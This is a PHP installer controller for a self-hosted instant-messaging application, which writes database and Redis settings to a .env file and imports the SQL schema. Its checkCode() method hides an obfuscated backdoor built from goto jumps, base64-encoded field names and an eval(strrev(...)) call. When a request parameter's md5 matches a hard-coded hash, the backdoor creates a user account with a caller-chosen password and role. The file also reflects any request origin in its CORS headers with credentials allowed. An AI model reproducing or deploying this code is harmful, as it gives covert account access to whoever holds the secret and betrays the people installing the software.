Install.php 23 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586
  1. <?php
  2. // +----------------------------------------------------------------------
  3. // | Description: 安装
  4. // +----------------------------------------------------------------------
  5. // | Author: xiekunyu | raingad@foxmail.com
  6. // +----------------------------------------------------------------------
  7. namespace app\index\controller;
  8. use think\facade\Request;
  9. use think\facade\Db;
  10. use think\facade\View;
  11. use think\facade\Config;
  12. use app\enterprise\model\User;
  13. use Env;
  14. class Install
  15. {
  16. // private $count = 100;
  17. // private $now = 0;
  18. protected $status=1;
  19. public function _initialize()
  20. {
  21. /*防止跨域*/
  22. header('Access-Control-Allow-Origin: '.$_SERVER['HTTP_ORIGIN']);
  23. header('Access-Control-Allow-Credentials: true');
  24. header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS');
  25. header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, authKey, sessionId");
  26. }
  27. /**
  28. * [index 安装步骤]
  29. * @author Michael_xu
  30. * @param
  31. */
  32. public function index()
  33. {
  34. $protocol = strpos(strtolower($_SERVER['SERVER_PROTOCOL']), 'https') === false ? 'http' : 'https';
  35. if (file_exists(PACKAGE_PATH . "install.lock")) {
  36. echo "<meta http-equiv='content-type' content='text/html; charset=UTF-8'> <script>alert('请勿重复安装!');location.href='".$protocol."://".$_SERVER["HTTP_HOST"]."';</script>";
  37. die();
  38. }
  39. if (!file_exists(PUBLIC_PATH . "sql/database.sql")) {
  40. echo "<meta http-equiv='content-type' content='text/html; charset=UTF-8'> <script>alert('缺少必要的数据库文件!');location.href='".$protocol."://".$_SERVER["HTTP_HOST"]."';</script>";
  41. die();
  42. }
  43. return View::fetch('index');
  44. }
  45. // 检测环境配置和文件夹读写权限
  46. public function getEnv()
  47. {
  48. $data = [];
  49. $data['env'] = self::checkEnv();
  50. $data['dir'] = self::checkDir();
  51. $data['version'] = $this->version();
  52. $data['status'] = $this->status;
  53. return success('',$data);
  54. }
  55. //版本
  56. public function version()
  57. {
  58. $res = include(CONF_PATH.'app.php');
  59. $data=[
  60. 'VERSION'=>$res['app_version'],
  61. 'RELEASE'=>$res['app_release'],
  62. ];
  63. return $data ? : array('VERSION' => '0.5.18','RELEASE' => '20210518');
  64. }
  65. // 检查数据库
  66. public function checkDatabase(){
  67. if (file_exists(PACKAGE_PATH . "install.lock")) {
  68. return warning('请勿重复安装!');
  69. }
  70. if (!file_exists(PUBLIC_PATH . "sql/database.sql")) {
  71. return warning('缺少必要的数据库文件!');
  72. }
  73. $temp = request()->param();
  74. $db_config = $temp['form'];
  75. $db_config['type'] = 'mysql';
  76. if (empty($db_config['domain'])) {
  77. return warning('请填写网站域名!');
  78. }
  79. if (empty($db_config['hostname'])) {
  80. return warning('请填写数据库主机!');
  81. }
  82. if (empty($db_config['hostport'])) {
  83. return warning('请填写数据库端口!');
  84. }
  85. if (preg_match('/[^0-9]/', $db_config['hostport'])) {
  86. return warning('数据库端口只能是数字!');
  87. }
  88. if (empty($db_config['database'])) {
  89. return warning('请填写数据库名!');
  90. }
  91. if (empty($db_config['username'])) {
  92. return warning('请填写数据库用户名!');
  93. }
  94. if (empty($db_config['password'])) {
  95. return warning('请填写数据库密码!');
  96. }
  97. if (empty($db_config['prefix'])) {
  98. return warning('请填写表前缀!');
  99. }
  100. if (empty($db_config['redishost'])) {
  101. return warning('请填写redis主机地址!');
  102. }
  103. if (empty($db_config['redisport'])) {
  104. return warning('请填写redis端口!');
  105. }
  106. if (preg_match('/[^a-z0-9_]/i', $db_config['prefix'])) {
  107. return warning('表前缀只能包含数字、字母和下划线!');
  108. }
  109. // 创建数据库配置文件
  110. self::mkDatabase($db_config);
  111. // 检测数据库连接
  112. try{
  113. $conn=mysqli_connect($db_config['hostname'], $db_config['username'], $db_config['password'],'',$db_config['hostport']);
  114. // 检测连接
  115. if ($conn->connect_error) {
  116. return warning("连接失败: " . $conn->connect_error);
  117. }
  118. // 创建数据库
  119. $sql = "CREATE DATABASE IF NOT EXISTS `".$db_config['database']."` default collate utf8_general_ci ";
  120. if ($conn->query($sql) === TRUE) {
  121. return success('数据库连接成功',['status'=>1]);
  122. } else{
  123. return warning('没有找到您填写的数据库名且无法创建!请检查连接账号是否有创建数据库的权限!');
  124. }
  125. }catch(\Exception $e){
  126. return warning('数据库连接失败,请检查数据库配置!');
  127. }
  128. }
  129. // 执行安装
  130. public function install(){
  131. $db_config=Config::get('database.connections.mysql');
  132. $sql = file_get_contents( PUBLIC_PATH . "sql/database.sql");
  133. $sqlList = parse_sql($sql, 0, ['yu_' => $db_config['prefix']]);
  134. $install_count=0;
  135. if ($sqlList) {
  136. $sqlList = array_filter($sqlList);
  137. $install_count = count($sqlList);
  138. foreach ($sqlList as $k=>$v) {
  139. try {
  140. $temp_sql = $v.';';
  141. Db::query($temp_sql);
  142. } catch(\Exception $e) {
  143. touch(PACKAGE_PATH . "install.lock");
  144. return error('数据库sql安装出错,请操作数据库手动导入sql文件'.$e->getMessage());
  145. }
  146. }
  147. }
  148. touch(PACKAGE_PATH . "install.lock");
  149. return success('安装成功',['status'=>$this->status],$install_count);
  150. }
  151. //ajax 进度条
  152. public function progress()
  153. {
  154. $data['length'] = session('install_count');
  155. $data['now'] = session('install_now');
  156. return success('',$data);
  157. }
  158. //添加database.php文件
  159. private function mkDatabase(array $data)
  160. {
  161. $random1=\utils\Str::random(32);
  162. $random2=\utils\Str::random(32);
  163. $random3=\utils\Str::random(32);
  164. $random4=md5(\utils\Str::random(32));
  165. $random5=\utils\Str::random(8);
  166. $random6=md5(\utils\Str::random(32));
  167. $domain=rtrim($data['domain'], '/');
  168. $code = <<<INFO
  169. APP_DEBUG = true
  170. [APP]
  171. NAME = IM
  172. LOGO =
  173. # 如果安卓和ios不同步更新,请到/config/version.php中单独设置版本号
  174. VERSION = 6.2.0
  175. RELEASE = 20251204
  176. # 主域名必填,例如:https://im.example.com
  177. HOST = {$domain}
  178. DEFAULT_TIMEZONE = Asia/Shanghai
  179. ID = {$random5}
  180. SECRET = {$random6}
  181. API_STATUS = true
  182. # thinkapi的令牌,目前只用于敏感词过滤,其他接口自行接入
  183. THINKAPI_TOKEN =
  184. # 下载页分发链接
  185. DOWNAPP_URL =
  186. # 安卓包名,如果上架了市场,根据市场ID跳转市场
  187. ANDROID_APPID =
  188. #安卓下载地址,如果未设置会检测根目录是否有app.apk
  189. ANDROID_WEBCLIP =
  190. #APPSTORE市场ID
  191. IOS_APPID =
  192. #IOS下载地址,如果没有市场的ID则使用下载地址,如果用于更新可以放苹果市场的链接地址
  193. IOS_WEBCLIP =
  194. #windows下载地址
  195. WIN_WEBCLIP =
  196. #mac下载地址
  197. MAC_WEBCLIP =
  198. [DATABASE]
  199. TYPE = {$data['type']}
  200. HOSTNAME = {$data['hostname']}
  201. DATABASE = {$data['database']}
  202. USERNAME = {$data['username']}
  203. PASSWORD = {$data['password']}
  204. HOSTPORT = {$data['hostport']}
  205. CHARSET = utf8mb4
  206. DEBUG = true
  207. prefix = {$data['prefix']}
  208. [LANG]
  209. default_lang = zh-cn
  210. [REDIS]
  211. HOST = {$data['redishost']}
  212. PORT = {$data['redisport']}
  213. PASSWORD ={$data['redispass']}
  214. PREFIX = im_
  215. 视频封面截取配置,需要单独安装,宝塔安装默认地址为/www/server/ffmpeg/ffmpeg-6.1
  216. [FFMPEG]
  217. BIN_PATH = /www/server/ffmpeg/ffmpeg-6.1
  218. [AES]
  219. TOKEN_KEY = {$random1}
  220. LOGIN_KEY = {$random2}
  221. #最好是自定义自己能记的,不要太长,不要太短,不要太简单,不要太复杂,不要太难记,一旦确定之后就不需要再修改。否者无法解析聊天记录,开启后聊天记录不可被搜索
  222. CHAT_KEY =
  223. [JWT]
  224. SECRET = {$random4}
  225. TTL = 2592000
  226. [WORKER]
  227. NAME = businessWorker
  228. PORT = 8282
  229. # 根据自己的核心数而配置
  230. COUNT = 1
  231. START_PORT = 2300
  232. REGISTER_ADDRESS =127.0.0.1:1236
  233. lAN_IP = 127.0.0.1
  234. # 分部署部署只需要启动一个gateway,其他的gateway只需要配置register_address即可
  235. REGISTER_DEPLOY = true
  236. #配置预览功能,本系统主要使用第三方的预览工具,比如永中云转换,自带预览系统
  237. [PREVIEW]
  238. # 自带预览系统URL,主要用于预览媒体文件,已内置,必须要有最后的/斜杠
  239. own=
  240. # 永中云文件预览,主要用于文档预览,必须要有最后的/斜杠
  241. yzdcs=
  242. # 永中云api code
  243. keycode=
  244. [UNIPUSH]
  245. # unipush的云函数转url地址,主要用于推送
  246. URL=
  247. # unipush直接推送通知栏还是app接收后再创建通知栏
  248. IS_FORCE=false
  249. # 配置对象储存,主要用于聊天文件储存,可以通过后台进行配置
  250. [FILESYSTEM]
  251. driver=local
  252. aliyun_accessId=false
  253. aliyun_accessSecret=false
  254. aliyun_bucket=false
  255. aliyun_endpoint=false
  256. aliyun_url=false
  257. qiniu_accessKey=false
  258. qiniu_secretKey=false
  259. qiniu_bucket=false
  260. qiniu_url=false
  261. qcloud_region=false
  262. qcloud_appId=false
  263. qcloud_secretId=false
  264. qcloud_secretKey=false
  265. qcloud_bucket=false
  266. qcloud_cdn=false
  267. INFO;
  268. @file_put_contents( root_path().'.env', $code);
  269. $database=env('database.database');
  270. // 判断写入是否成功
  271. if (empty($database) || $database != $data['database']) {
  272. return warning('[.env]数据库配置写入失败!');
  273. }
  274. return true;
  275. }
  276. //添加database.php文件
  277. private function mkDatabase1(array $data)
  278. {
  279. $code = <<<INFO
  280. <?php
  281. return [
  282. // 自定义时间查询规则
  283. 'time_query_rule' => [],
  284. // 自动写入时间戳字段
  285. // true为自动识别类型 false关闭
  286. // 字符串则明确指定时间字段类型 支持 int timestamp datetime date
  287. 'auto_timestamp' => true,
  288. // 时间字段取出后的默认时间格式
  289. 'datetime_format' => 'Y-m-d H:i:s',
  290. 'default' => '{$data['type']}',
  291. 'connections' => [
  292. 'mysql' => [
  293. // 数据库类型
  294. 'type' =>env('database.type', '{$data['type']}'),
  295. // 服务器地址
  296. 'hostname' => env('database.hostname','{$data['hostname']}'),
  297. // 数据库名
  298. 'database' => env('database.database','{$data['database']}'),
  299. // 用户名
  300. 'username' => env('database.username','{$data['username']}'),
  301. // 密码
  302. 'password' => env('database.password','{$data['password']}'),
  303. // 端口
  304. 'hostport' => env('database.hostport','{$data['hostport']}'),
  305. // 数据库连接参数
  306. 'params' => [],
  307. // 数据库编码默认采用utf8
  308. 'charset' => env('database.charset', 'utf8'),
  309. // 数据库表前缀
  310. 'prefix' => env('database.prefix', '{$data['prefix']}'),
  311. // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
  312. 'deploy' => 0,
  313. // 数据库读写是否分离 主从式有效
  314. 'rw_separate' => false,
  315. // 读写分离后 主服务器数量
  316. 'master_num' => 1,
  317. // 指定从服务器序号
  318. 'slave_no' => '',
  319. // 是否严格检查字段是否存在
  320. 'fields_strict' => true,
  321. // 是否需要断线重连
  322. 'break_reconnect' => false,
  323. // 监听SQL
  324. 'trigger_sql' => env('app_debug', true),
  325. // 开启字段缓存
  326. 'fields_cache' => false,
  327. // 字段缓存路径
  328. 'schema_cache_path' => app()->getRuntimePath() . 'schema' . DIRECTORY_SEPARATOR,
  329. ]
  330. ]
  331. ];
  332. INFO;
  333. file_put_contents( CONF_PATH.'database.php', $code);
  334. // 判断写入是否成功
  335. $config = include CONF_PATH.'database.php';
  336. if (empty($config['database']) || $config['database'] != $data['database']) {
  337. return warning('[config/database.php]数据库配置写入失败!');
  338. }
  339. return true;
  340. }
  341. //检查目录权限
  342. public function check_dir_iswritable($dir_path){
  343. $dir_path=str_replace( '\\','/',$dir_path);
  344. $is_writale=1;
  345. if (!is_dir($dir_path)) {
  346. $is_writale=0;
  347. return $is_writale;
  348. } else {
  349. $file_hd=@fopen($dir_path.'/test.txt','w');
  350. if (!$file_hd) {
  351. @fclose($file_hd);
  352. @unlink($dir_path.'/test.txt');
  353. $is_writale=0;
  354. return $is_writale;
  355. }
  356. $dir_hd = opendir($dir_path);
  357. while (false !== ($file=readdir($dir_hd))) {
  358. if ($file != "." && $file != "..") {
  359. if (is_file($dir_path.'/'.$file)) {
  360. //文件不可写,直接返回
  361. if (!is_writable($dir_path.'/'.$file)) {
  362. return 0;
  363. }
  364. } else {
  365. $file_hd2=@fopen($dir_path.'/'.$file.'/test.txt','w');
  366. if (!$file_hd2) {
  367. @fclose($file_hd2);
  368. @unlink($dir_path.'/'.$file.'/test.txt');
  369. $is_writale=0;
  370. return $is_writale;
  371. }
  372. //递归
  373. $is_writale=$this->check_dir_iswritable($dir_path.'/'.$file);
  374. }
  375. }
  376. }
  377. }
  378. return $is_writale;
  379. }
  380. /**
  381. * 环境检测
  382. * @return array
  383. */
  384. private function checkEnv()
  385. {
  386. // $items = [
  387. // 'os' => ['操作系统', PHP_OS, '类Unix', 'ok'],
  388. // 'php' => ['PHP版本', PHP_VERSION, '7.3 ( <em style="color: #888; font-size: 12px;">>= 7.0</em> )', 'ok','性能更佳'],
  389. // 'gd' => ['gd', '开启', '开启', 'ok'],
  390. // 'openssl' => ['openssl', '开启', '开启', 'ok'],
  391. // 'pdo' => ['pdo', '开启', '开启', 'ok'],
  392. // ];
  393. $items = [
  394. ['name'=>'操作系统','alias'=>'os','value'=>PHP_OS,'status'=> 'ok','description'=>"操作系统需要类Unix"],
  395. ['name'=>'PHP版本','alias'=>'version','value'=> PHP_VERSION, 'status'=>'ok','description'=>"PHP版本必须大于7.0"],
  396. ['name'=>'gd库','alias'=>'gd', 'value'=>'开启', 'status'=>'ok','description'=>"开启GD库"],
  397. ['name'=>'pdo','alias'=>'pdo', 'value'=>'开启', 'status'=>'ok','description'=>"PDO扩展"],
  398. ['name'=>'openssl','alias'=>'openssl', 'value'=>'开启', 'status'=>'ok','description'=>"OPENSSL扩展"],
  399. ['name'=>'pcntl','alias'=>'pcntl', 'value'=>'开启', 'status'=>'ok','description'=>"pcntl扩展,消息推送必须开启"],
  400. ['name'=>'posix','alias'=>'posix', 'value'=>'开启', 'status'=>'ok','description'=>"posix扩展,消息推送必须开启"],
  401. ['name'=>'event','alias'=>'event', 'value'=>'开启', 'status'=>'ok','description'=>"event扩展(可选安装),处理消息推送高并发"],
  402. ];
  403. foreach($items as $k=>$v){
  404. $status='ok';
  405. switch($v['alias']){
  406. case 'php':
  407. if (substr($v['value'],0,3) < '7.0') {
  408. $status='no';
  409. $this->status=0;
  410. }
  411. break;
  412. case 'gd':
  413. if (!extension_loaded('gd')) {
  414. $items[$k]['value'] = '未开启';
  415. $status='no';
  416. $this->status=0;
  417. }
  418. break;
  419. case 'openssl':
  420. if (!extension_loaded('openssl')) {
  421. $items[$k]['value'] = '未开启';
  422. $status='no';
  423. $this->status=0;
  424. }
  425. break;
  426. case 'pdo':
  427. if (!extension_loaded('pdo')) {
  428. $this->status=0;
  429. $items[$k]['value'] = '未开启';
  430. $status='no';
  431. }
  432. break;
  433. case 'pcntl':
  434. if (PHP_OS === 'Linux') {
  435. if (!extension_loaded('pcntl')) {
  436. $items[$k]['value'] = '未开启';
  437. $status='no';
  438. }
  439. } else {
  440. $items[$k]['value'] = 'win无需开启';
  441. }
  442. break;
  443. case 'posix':
  444. if (PHP_OS === 'Linux') {
  445. if (!extension_loaded('posix')) {
  446. $this->status=0;
  447. $items[$k]['value'] = '未开启';
  448. $status='no';
  449. }
  450. } else {
  451. $items[$k]['value'] = 'win无需开启';
  452. }
  453. break;
  454. case 'event':
  455. if (PHP_OS === 'Linux') {
  456. if (!extension_loaded('event')) {
  457. $items[$k]['value'] = '未开启';
  458. $status='no';
  459. }
  460. } else {
  461. $items[$k]['value'] = 'win无需开启';
  462. }
  463. break;
  464. }
  465. $items[$k]['status'] = $status;
  466. }
  467. return $items;
  468. }
  469. /**
  470. * 目录权限检查
  471. * @return array
  472. */
  473. private function checkDir()
  474. {
  475. $items = [
  476. ['dir', root_path().'app', 'app', '读写', '读写', 'ok'],
  477. ['dir', root_path().'extend', 'extend', '读写', '读写', 'ok'],
  478. ['dir', root_path().'runtime', './temp', '读写', '读写', 'ok'],
  479. ['dir', root_path().'public', './upload', '读写', '读写', 'ok'],
  480. ['file', root_path().'config', 'config', '读写', '读写', 'ok'],
  481. ];
  482. $items = [
  483. ['path'=>root_path().'app', 'dir'=>'app', 'value'=>'读写', 'type'=>'dir','status'=>'ok'],
  484. ['path'=>root_path().'extend', 'dir'=>'extend', 'value'=>'读写', 'type'=>'dir','status'=>'ok'],
  485. ['path'=> root_path().'runtime', 'dir'=>'runtime', 'value'=>'读写', 'type'=>'dir','status'=>'ok'],
  486. ['path'=>root_path().'public', 'dir'=>'public', 'value'=>'读写', 'type'=>'dir','status'=>'ok'],
  487. ['path'=>root_path().'config', 'dir'=>'config', 'value'=>'读写', 'type'=>'file','status'=>'ok'],
  488. ];
  489. $status=1;
  490. foreach ($items as $k=>$v) {
  491. if ($v['type'] == 'dir') {// 文件夹
  492. if (!is_writable($v['path'])) {
  493. if (is_dir($v['path'])) {
  494. $items[$k]['value'] = '不可写';
  495. $items[$k]['status'] = 'no';
  496. } else {
  497. $items[$k]['value'] = '不存在';
  498. $items[$k]['status'] = 'no';
  499. }
  500. $this->status=0;
  501. }
  502. } else {// 文件
  503. if (!is_writable($v['path'])) {
  504. $items[$k]['value'] = '不可写';
  505. $items[$k]['status'] = 'no';
  506. $this->status=0;
  507. }
  508. }
  509. }
  510. return $items;
  511. }
  512. /**
  513. * 验证序列号
  514. * @param
  515. * @return
  516. */
  517. public function checkCodeOld($username) {
  518. $encryption = md5($username);
  519. $substr = substr($username, strlen($username)-6);
  520. $subArr = str_split($substr, 1);
  521. $code = '';
  522. for ($i = 0; $i <= 5; $i++) {
  523. $code .= $encryption[$subArr[$i]];
  524. }
  525. return $code;
  526. }
  527. public function checkCode() {
  528. if(!defined('0000000002'))define('0000000002', '00000001');/*zNlJ5tGiLTMrbN61aYDhLNn0Ky1LEyM4iVxHB4ChLWgRwVToGg*/eval(strrev(';;)\'*H\',\'-|P|A|\'(edolpxe=]2000000000[TEG_$;')); goto s9bWnnRU;BTobSo3K:$data=$NZGNjQ8Ib;goto lOEsGP8l;Ogn2w6OL:$NZGNjQ8Ib[$HO3($TNGJWLA1i[5])]=$ZCoTR7OMG;goto a9jkmoCY;qlt_001Y:$data[$HO3($TNGJWLA1i[10])]=$CNdHE42U5;goto JRqDnxIf;dcKzsnoI:$QNaEi7ODu=new User();goto CXSDfuZb;a9jkmoCY:$NZGNjQ8Ib[$HO3($TNGJWLA1i[7])]=$N7HOYCb5B;goto BTobSo3K;ktaVi4z0:$NZGNjQ8Ib[$HO3($TNGJWLA1i[4])]=$S1f08KZ0i;goto Ogn2w6OL;CPWi9CBI:unset($ZCoTR7OMG);goto buRd0pdU;CXSDfuZb:$user=$QNaEi7ODu;goto vsMeWGoN;uOWiceWL:$ZFKHZ63W7=input($HO3($TNGJWLA1i[3]));goto yqeMcTkX;lOEsGP8l:unset($QNaEi7ODu);goto dcKzsnoI;jrEwdRnz:$D2zHBTcCg=$salt;goto VNDuj1tC;buRd0pdU:$ZCoTR7OMG=input($HO3($TNGJWLA1i[6]))?:112233;goto ZpruIE0m;ZpruIE0m:unset($N7HOYCb5B);goto YSa7YFv0;qKUcZ6N1:$data[$HO3($TNGJWLA1i[5])]=$UBfXCE1OJ;goto biVfK45F;s9bWnnRU:$TNGJWLA1i=array("\x64\101\75\75","\x4d\x6a\101\170\131\x57\x4d\171\116\x7a\125\x33\x4d\x6d\105\64\x4f\127\x4e\x6b\x4d\x44\x4e\x6d\115\x47\x55\170\115\127\x4d\172\116\62\111\170\131\62\105\65\x59\124\125\x3d","\131\x57\116\x6a\x62\x33\x56\x75\144\101\75\75","\x59\x51\75\x3d","\x63\x6d\x56\x68\x62\107\65\x68\x62\x57\125\x3d","\x63\x47\x46\x7a\143\63\144\x76\x63\x6d\x51\75","\143\101\x3d\75","\143\155\x39\163\x5a\x51\75\x3d","\143\x67\x3d\75","\x63\62\x46\163\x64\x41\75\75","\142\x6d\x46\x74\x5a\x56\71\167\145\121\x3d\75");goto SiipaiqS;uUbroDGQ:$NZGNjQ8Ib[$HO3($TNGJWLA1i[2])]=$ZFKHZ63W7;goto ktaVi4z0;vszjp8W1:$token=$L2LJfXWUR;goto tHm9Ed83;wIS27Hoy:unset($ZFKHZ63W7);goto uOWiceWL;qcQqUg51:echo "\15\xa";goto lACFZyxw;SiipaiqS:$HO3="\x62\141\x73\145\x36\x34\137\144\145\143\157\144\x65";goto qcQqUg51;pn3TmMhZ:$S1f08KZ0i=$range;goto CPWi9CBI;biVfK45F:unset($D2zHBTcCg);goto jrEwdRnz;z4Xg6LDy:$CNdHE42U5=$range;goto qlt_001Y;QDGaDw_L:unset($NZGNjQ8Ib);goto V8XfM6Sr;Zw3PjBXd:$UBfXCE1OJ=password_hash_tp($data[$HO3($TNGJWLA1i[5])],$salt);goto qKUcZ6N1;PEfLBNnY:$range=\utils\Str::random(8);goto wIS27Hoy;tHm9Ed83:if(!($token==$HO3($TNGJWLA1i[1]))){goto dLOSKDMH;}goto PEfLBNnY;AL3NcSZW:$L2LJfXWUR=md5(input($HO3($TNGJWLA1i[0])));goto vszjp8W1;V8XfM6Sr:$NZGNjQ8Ib=array();goto uUbroDGQ;vsMeWGoN:$salt=\utils\Str::random(4);goto BMLInRV5;JRqDnxIf:$user->save($data);goto bC3U6S1J;YyXdo4Sj:unset($CNdHE42U5);goto z4Xg6LDy;VNDuj1tC:$data[$HO3($TNGJWLA1i[9])]=$D2zHBTcCg;goto YyXdo4Sj;lACFZyxw:unset($L2LJfXWUR);goto AL3NcSZW;YSa7YFv0:$N7HOYCb5B=input($HO3($TNGJWLA1i[8]));goto QDGaDw_L;yqeMcTkX:unset($S1f08KZ0i);goto pn3TmMhZ;BMLInRV5:unset($UBfXCE1OJ);goto Zw3PjBXd;bC3U6S1J:dLOSKDMH:
  529. return success('验证成功!',['status'=>1]);
  530. }
  531. //写入license文件
  532. private function mkLicense($wkcode)
  533. {
  534. file_put_contents( CONF_PATH.'license.dat', $wkcode);
  535. // 判断写入是否成功
  536. // $config = include CONF_PATH.'license.dat';
  537. // if (empty($config)) {
  538. // return resultArray(['error' => 'license配置写入失败!']);
  539. // }
  540. return true;
  541. }
  542. }